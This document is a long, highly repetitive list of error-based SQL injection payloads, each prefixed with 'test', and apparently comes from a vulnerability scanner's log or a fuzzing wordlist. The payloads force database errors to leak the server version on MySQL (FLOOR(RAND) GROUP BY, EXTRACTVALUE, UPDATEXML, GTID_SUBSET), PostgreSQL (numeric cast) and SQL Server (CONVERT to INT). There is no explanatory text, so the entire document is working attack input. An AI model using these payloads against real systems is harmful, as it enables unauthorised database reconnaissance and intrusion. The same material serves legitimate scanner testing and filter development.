test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

